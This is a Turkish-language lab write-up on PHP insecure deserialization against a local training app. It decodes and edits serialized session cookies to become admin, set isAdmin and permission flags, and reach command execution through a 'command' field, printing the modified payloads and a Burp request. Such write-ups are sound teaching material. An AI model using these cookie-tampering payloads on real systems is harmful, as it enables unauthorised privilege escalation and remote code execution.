- Serialization (Serileştirme): Bir nesnenin veya verinin bellekteki halini, taşınabilir bir formata (JSON, XML, binary vb.) dönüştürme işlemidir. Bu sayede veri dosyaya yazılabilir, ağ üzerinden gönderilebilir veya cache'de saklanabilir.
- Deserialization (Serileştirmeyi Açma): Serileştirilmiş veriyi tekrar orijinal nesne haline getirme işlemidir.
⚠️ Zafiyetin Ortaya Çıkışı
- Eğer uygulama kullanıcıdan gelen veriyi doğrudan deserialize ederse ve bu veriyi doğrulamazsa, saldırgan kendi hazırladığı zararlı veriyi sisteme gönderebilir.
- Bu durumda uygulama saldırganın oluşturduğu nesneyi çalıştırır ve beklenmedik davranışlar ortaya çıkar.
Labın Amacı, cookie içinde serialize edilmiş bir nesneyi manipüle ederek admin yetkisi kazanmak.
Lab Ortamını Tanıma

1. Login ve Cookie İncelemesi
- İlk olarak normal kullanıcı bilgileriyle giriş yapıldı.
- Tarayıcıda iki cookie oluştu:
PHPSESSIDveuser. usercookie'si dikkat çekiciydi çünkü uzun bir base64 string içeriyordu.

2. Cookie Decode
Cookie base64 decode edildiğinde serialized bir obje ortaya çıktı. Örneğin:
Kod
O:4:"user":2:{s:8:"username";s:4:"test";s:8:"password";s:4:"test";}Burada username alanı oturum açan kullanıcıyı temsil ediyordu.
3. Manipülasyon
CyberChef gibi bir araç kullanılarak serialized objede username değeri admin olarak değiştirildi:
Kod
O:4:"user":2:{s:8:"username";s:5:"admin";s:8:"password";s:4:"test";}Ardından tekrar base64 ile encode edilerek yeni cookie elde edildi:
Kod
Tzo0OiJ1c2VyIjoxOntzOjg6InVzZXJuYW1lIjtzOjU6ImFkbWluIjtzOjg6InBhc3N3b3JkIjtzOjQ6InRlc3Q7fQ==4. Cookie Yeniden Gönderimi
Burp Suite üzerinden bu yeni cookie HTTP isteğine eklendi. Sunucu deserialize işlemini yaptı ve username alanını doğrudan kabul etti.

Sonuç: "Welcome admin!" mesajı ile admin paneline erişim sağlandı.
Admin Account v2
Cookie Analizi
Cookie içeriği şu şekildeydi:

TyUzQTQlM0ElMjJVc2VyJTIyJTNBMyUzQSU3QnMlM0E4JTNBJTIydXNlcm5hbWUlMjIlM0JzJTNBMzIlM0ElMjIwOThmNmJjZDQ2MjFkMzczY2FkZTRlODMyNjI3YjRmNiUyMiUzQnMlM0E4JTNBJTIycGFzc3dvcmQlMjIlM0JzJTNBMzIlM0ElMjIwOThmNmJjZDQ2MjFkMzczY2FkZTRlODMyNjI3YjRmNiUyMiUzQnMlM0E3JTNBJTIyaXNBZG1pbiUyMiUzQmklM0EwJTNCJTdE;CyberChef ile decode edildiğinde şu obje ortaya çıktı:

Hash Çözümü
username ve password alanlarının değerleri MD5 hash olarak saklanmıştı. Online MD5 decrypter kullanılarak çözüldü:
098f6bcd4621d373cade4e832627b4f6→test
Yani aslında kullanıcı adı ve şifre test idi.
Manipülasyon
Objede isAdmin alanı 0 olarak set edilmişti. Bu alanı 1 olarak değiştirdik:
php
O:4:"User":3:{
s:8:"username";s:32:"098f6bcd4621d373cade4e832627b4f6";
s:8:"password";s:32:"098f6bcd4621d373cade4e832627b4f6";
s:7:"isAdmin";i:1;
}Ardından tekrar base64 encode edilerek cookie'ye yazıldı.
Exploit
Yeni cookie ile istek gönderildiğinde uygulama deserialize işlemini yaptı ve isAdmin=1 olduğu için admin yetkisi verdi. Sayfada "Welcome Admin" mesajı görüldü.

Full priviliges

Login sonrasi oluşan cookie şu şekilde:

Cookie Decode
Base64 decode edildiğinde şu serialized obje ortaya çıktı:
php
O:4:"User":4:{
s:8:"username";s:32:"098f6bcd4621d373cade4e832627b4f6";
s:8:"password";s:32:"098f6bcd4621d373cade4e832627b4f6";
s:7:"isAdmin";i:0;
s:11:"permissions";O:10:"Permission":3:{
s:9:"canDelete";i:0;
s:9:"canUpdate";i:0;
s:6:"canAdd";i:0;
}
}Burada gördüğümüz şey:
- username ve password alanları MD5 hash olarak tutulmuş (
098f6bcd4621d373cade4e832627b4f6→test). - isAdmin alanı
0yani admin değil. - permissions objesi içinde tüm yetkiler kapalı (
canDelete=0,canUpdate=0,canAdd=0).
Hash Çözümü
MD5 hash çözülerek username = test, password = test olduğu anlaşıldı. Bu, sistemin kullanıcı doğrulamasını hash üzerinden yaptığını gösteriyor.
Yetki Alanları
Objede isAdmin=0 ve permissions alanında tüm yetkiler kapalıydı. Bu, kullanıcının normal bir user olduğunu gösteriyordu.
Manipülasyon
Objeyi düzenleyerek isAdmin=1 ve permissions alanındaki tüm yetkileri aktif hale getirdik:
php
O:4:"User":4:{
s:8:"username";s:32:"098f6bcd4621d373cade4e832627b4f6";
s:8:"password";s:32:"098f6bcd4621d373cade4e832627b4f6";
s:7:"isAdmin";i:1;
s:11:"permissions";O:10:"Permission":3:{
s:9:"canDelete";i:1;
s:9:"canUpdate";i:1;
s:6:"canAdd";i:1;
}
}Ardından tekrar base64 encode edilerek cookie'ye yazıldı.
5. Exploit
Yeni cookie ile istek gönderildiğinde uygulama deserialize işlemini yaptı ve isAdmin=1 olduğu için admin yetkisi verdi. Ayrıca permissions alanı sayesinde tüm kullanıcı işlemleri (ekleme, silme, güncelleme) aktif hale geldi.

Random Nick Generator

İlk İzlenimler
- Web arayüzünde kullanıcıya rastgele nick üreten bir sayfa var.
- Bazı üretilen nickler sadece basit stringlerden oluşurken, bazıları
uid=33(www-data)vegid=33(www-data)gibi sistem bilgilerini sızdırıyor.
Burp Suite ile Trafik Analizi
Burp Suite üzerinden yakalanan GET isteği:
Kod
GET /lab/insecure-deserialization/random-nick-generator/index.php HTTP/1.1
Host: localhost:1337
Cookie: Tzo0OiJVc2VyIjo2OntzOjg6InVzZXJuYW1lIjtzOjQ6InRlc3QiO3M6ODoicGFzc3dvcmQiO047czoxNjoiZ2VuZXJhdGVkU3RyaW5ncyI7YTowOnt9czo3OiJjb21tYW5kIjtzOjY6InN5c3RlbSI7czo4OiJmaWxlTmFtZSI7czoxOToicmFuZG9tR2VuZXJhdG9yLnBocCI7czoxMzoiZmlsZUV4dGVuc2lvbiI7czozOiJwaHAiO30%3DBurada dikkat çeken nokta: Session cookie. İçinde uzun bir encoded string var.
Cookie Decode İşlemi
Cookie'yi URL decode ve Base64 decode ettiğimizde şu çıktı elde ettik:
php
O:4:"User":6:{
s:8:"username";s:4:"test";
s:8:"password";N;
s:16:"generatedStrings";a:0:{}
s:7:"command";s:6:"system";
s:8:"fileName";s:19:"randomGenerator.php";
s:13:"fileExtension";s:3:"php";
}Yani cookie içinde bir User objesi serialize edilmiş durumda.
Zafiyetin Mantığı
- Uygulama cookie içindeki serialized objeyi
unserialize()ile açıyor. - Objede
commandalanısystemolarak set edilmiş. - Bu alan manipüle edilirse, unserialize sonrası uygulama farklı komutlar çalıştırabilir.
6. Exploit Adımları
Cookie içindeki command alanını değiştirdik. Örneğin:

Cookie'yi yeniden encode edip Burp üzerinden gönderdik.
ve sonuç:

Böylece Remote Code Execution (RCE) elde edildi.